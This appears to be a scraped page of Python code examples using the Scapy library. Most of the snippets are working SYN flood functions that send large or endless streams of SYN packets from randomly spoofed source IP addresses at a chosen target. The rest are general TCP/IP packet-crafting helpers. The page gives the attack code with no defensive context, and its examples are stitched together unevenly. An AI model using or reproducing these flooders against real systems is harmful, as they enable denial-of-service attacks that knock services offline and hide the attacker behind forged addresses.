Ejemplo n.º 1
0
    def SYN_TCP_Flood(self, dstIP, dstPort, counter):
        try:
            total = 0
            print("Packets are sending ...")
            for x in range(0, int(counter)):
                s_port = random.randint(1000, 9000)
                s_eq = random.randint(1000, 9000)
                w_indow = random.randint(1000, 9000)

                IP_Packet = IP()
                IP_Packet.src = ".".join(
                    map(str, (random.randint(0, 255) for _ in range(4))))
                IP_Packet.dst = dstIP

                #   Created our own TCP packet
                TCP_Packet = TCP()
                TCP_Packet.sport = s_port
                TCP_Packet.dport = int(dstPort)
                TCP_Packet.flags = "S"
                TCP_Packet.seq = s_eq
                TCP_Packet.window = w_indow

                send(IP_Packet / TCP_Packet, verbose=0)
                total += 1
            print("\nTotal packets sent: %i\n" % total)
            print()
            return 1
        except:
            return 0
Ejemplo n.º 2
0
def SYN_Flood(targetIP, targetPort, counter):
    total = 0  # total number of packets sent to the target
    print
    "Packets are being sent to the target ..."
    for x in range(0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        # randomly generate all of these values (s_port, s_eq, w_indow using randInt() function

        IP_Packet = IP()
        IP_Packet.src = randomIP()

        # randomly generate IP address to be sending packets from

        IP_Packet.dst = targetIP

        TCP_Packet = TCP()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = targetPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet / TCP_Packet, verbose=0)
        total += 1
    sys.stdout.write("\nTotal packets sent to target : %i\n" % total)
def SYN_Flood(t_ip, t_port):

    print("Пакеты отправляются")
    global stop_thread
    stop_thread = True

    while stop_thread:
        global packets
        ip_p = IP()
        ip_p.src = randomIP()  # записываем в поле ip источника случайный ip
        #ip_p.src = "8.8.8.8"
        ip_p.dst = t_ip  # записываем ip сервера

        tcp_p = TCP()
        #tcp_p.sport = 234
        tcp_p.sport = randint(
            0, 6000)  # записываем в поле port источника случайный port
        tcp_p.dport = t_port  # записываем port сервер
        tcp_p.flags = "S"  # устанавливаем флаг SYN
        tcp_p.seq = randint(0,
                            9000)  # устанавливаем случайный порядковый номер ?
        tcp_p.window = randint(5000, 8191)  # устанавливаем случайное окно ?

        send(ip_p / tcp_p, verbose=False)  # отправляем пакет
        packets += 1
        myapp.ui.packetsCount.setText(str(packets))
        # print("Пакет {0} отправлен".format(i + 1))

    packets = 0
    myapp.ui.packetsCount.setText(str(packets))
Ejemplo n.º 4
0
def cmd_tcpip(ip_src, ip_dst, TOS, ttl, id, reserved, seq_num, window, urg_ptr,
              flags, payload, src_port):
    layer3 = IP()
    layer3.src = ip_src
    layer3.dst = ip_dst
    tos_num = int(TOS, 2)
    print(tos_num)
    layer3.tos = tos_num
    layer3.ttl = ttl
    layer3.ihl = 5
    layer3.id = id

    layer4 = TCP()
    layer4.dport = 80
    layer4.sport = src_port
    num = int(reserved, 2)
    binary_num = bin(num)
    print(binary_num)
    layer4.reserved = num
    #    layer4.flags = "S"
    layer4.flags = flags
    layer4.window = window
    layer4.urgptr = int(urg_ptr, 2)
    layer4.seq = seq_num

    print("1")
    if not payload:
        pkt = layer3 / layer4
    else:
        pkt = layer3 / layer4 / payload
    send(pkt)
Ejemplo n.º 5
0
 def getTCPPacket(self):
     """
     构造TCP数据包
     :return:
     """
     try:
         ip_packet = IP()
         ip_packet.version = int(self.entries[8].get())
         ip_packet.ihl = int(self.entries[9].get())
         ip_packet.tos = int(self.entries[10].get())
         ip_packet.id = int(self.entries[11].get())
         # ip_packet.flags = int(self.entries[12].get())
         ip_packet.frag = int(self.entries[13].get())
         ip_packet.ttl = int(self.entries[14].get())
         # ip_packet.chksum = self.entries[15].get()
         ip_packet.src = self.entries[16].get()
         ip_packet.dst = self.entries[17].get()
         tcp_packet = TCP()
         tcp_packet.sport = int(self.entries[0].get())
         tcp_packet.dport = int(self.entries[1].get())
         tcp_packet.seq = int(self.entries[2].get())
         tcp_packet.ack = int(self.entries[3].get())
         tcp_packet.dataofs = int(self.entries[4].get())
         tcp_packet.flags = int(self.entries[5].get())
         tcp_packet.window = int(self.entries[6].get())
         # tcp_packet.chksum = self.entries[7].get()
         # scapy自动计算IP、TCP校验和
         # 获得数据包的二进制值
         pkg_raw = raw(ip_packet / tcp_packet)
         tcp_packet_raw = pkg_raw[20:]
         # 构造数据包,自动计算校验和
         scapy_chksum_IP = IP(pkg_raw).chksum
         scapy_chksum_tcp = TCP(tcp_packet_raw).chksum
         print("scapy自动计算的TCP校验和为:%04x" % scapy_chksum_tcp)
         # 手动计算TCP校验和
         tcp_packet.chksum = 0
         packet = ip_packet / tcp_packet
         tcp_raw = raw(packet)[20:]
         self_chksum = in4_chksum(socket.IPPROTO_TCP, packet[IP], tcp_raw)
         print("手动计算的TCP校验和为:%04x" % self_chksum)
         if self_chksum == scapy_chksum_tcp:
             print("TCP验证和正确")
         else:
             print("TCP验证和不正确")
         tcp_packet.chksum = scapy_chksum_tcp
         self.entries[7].delete(0, END)
         self.entries[7].insert(0, hex(scapy_chksum_tcp))
         self.entries[15].delete(0, END)
         self.entries[15].insert(0, hex(scapy_chksum_IP))
         tcp_packet.show()
         self.resultText.insert('end', tcp_packet.summary() + '\n')
         self.resultText.insert('end', str(tcp_packet) + '\n')
         return Ether() / ip_packet / tcp_packet
     except Exception as e:
         print(e.with_traceback())
     finally:
         pass
Ejemplo n.º 6
0
def syn_flood(ip_dst, dport, amnt):
    packet_deserved = 0
    print("\nНачало отправки...")

    for packet in range(0, amnt):
        s_port, s_eq, w_indow = get_random_int(), get_random_int(), get_random_int()

        IP_Packet = IP()
        IP_Packet.src, IP_Packet.dst = get_random_IP(), ip_dst

        TCP_Packet = TCP()
        TCP_Packet.sport, TCP_Packet.dport = s_port, dport
        TCP_Packet.flags = "S"
        TCP_Packet.seq, TCP_Packet.window = s_eq, w_indow

        send(IP_Packet / TCP_Packet, verbose=0)
        packet_deserved += 1

    print('\nВсего пакетов отправлено', packet_deserved)
Ejemplo n.º 7
0
    def fsend(self, payload, seq=None, ack=None, tcp=None, flags=None):
        """
    fsend(payload, seq=None, ack=None, tcp=None, flags=None)
        send a packet without be connected
        NOTE: will break the seq and ack numbers if you're currently connected
        :param payload: payload to be sent
        :param seq: specify new seq number
        :param ack: specify new ack number
        :param tcp: specify tcp segment of the packet
        :param flags: specify tcp flags
        """
        ip = IP(src=self.src, dst=self.dst)

        tcp = tcp
        if tcp is None:
            tcp = TCP(sport=self.sport, dport=self.dport)
            tcp.seq = seq
            tcp.ack = ack
            tcp.flags = flags

        send(ip / tcp / payload)
Ejemplo n.º 8
0
def SYN_Flood(dstIP, dstPort, counter):
    total = 0
    avg_time = 0
    print("Packets are sending ...")
    attack_begin = time.process_time()
    for x in range(0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow
        start = time.process_time()
        send(IP_Packet / TCP_Packet, verbose=0)
        time_per_packet = (time.process_time() - start)

        # Write it in a file
        with open('syns_results_p.txt', 'a') as f:
            f.write(f'{x}, {time_per_packet}\n')
        avg_time = avg_time+ time_per_packet
        total += 1
    attack_time = time.process_time() - attack_begin
    avg_time = avg_time/total
    with open('syns_results_p.txt', 'a') as f:
        f.write(f'\nTotal time - {attack_time}')
        f.write(f'\nAverage time - {avg_time}')
        now = datetime.now()
        current_time = now.strftime("%H:%M:%S")

        f.write(f'\nFinishing time: {current_time}')
    print(f"\nTotal packets sent: {total}\n")
Ejemplo n.º 9
0
def SYN_Flood(dstIP, dstPort):
    total = 0
    print("Packets are sending ...")
    for x in range(0, 1000000):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet / TCP_Packet, verbose=0)
        print('one was sent')
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)